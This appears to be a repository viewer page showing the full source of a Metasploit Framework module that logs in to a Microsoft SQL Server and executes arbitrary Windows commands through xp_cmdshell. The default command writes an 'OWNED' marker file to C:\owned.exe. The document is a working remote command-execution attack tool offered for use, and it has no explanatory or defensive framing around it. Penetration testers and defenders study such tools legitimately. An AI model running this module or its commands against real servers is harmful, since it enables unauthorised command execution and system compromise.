Statistics
| Branch: | Tag: | Revision:

root / modules / auxiliary / admin / mssql / mssql_exec.rb @ master

History | View | Annotate | Download (1.1 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# web site for more information on licensing and terms of use.
9
#   http://metasploit.com/
10
##
11

    
12
require 'msf/core'
13

    
14

    
15
class Metasploit3 < Msf::Auxiliary
16

    
17
        include Msf::Exploit::Remote::MSSQL
18

    
19
        def initialize(info = {})
20
                super(update_info(info,
21
                        'Name'           => 'Microsoft SQL Server xp_cmdshell Command Execution',
22
                        'Description'    => %q{
23
                                This module will execute a Windows command on a MSSQL/MSDE instance
24
                        via the xp_cmdshell procedure. A valid username and password is required
25
                        to use this module
26
                        },
27
                        'Author'         => [ 'tebo <tebo[at]attackresearch.com>' ],
28
                        'License'        => MSF_LICENSE,
29
                        'Version'        => '$Revision$',
30
                        'References'     =>
31
                                [
32
                                        [ 'URL', 'http://msdn.microsoft.com/en-us/library/cc448435(PROT.10).aspx'],
33
                                ]
34
                ))
35

    
36
                register_options( [
37
                        OptString.new('CMD', [ false, 'Command to execute',  'cmd.exe /c echo OWNED > C:\\owned.exe']),
38
                ], self.class)
39
        end
40

    
41
        def run
42
                mssql_xpcmdshell(datastore['CMD'], true) if mssql_login_datastore
43
        end
44
end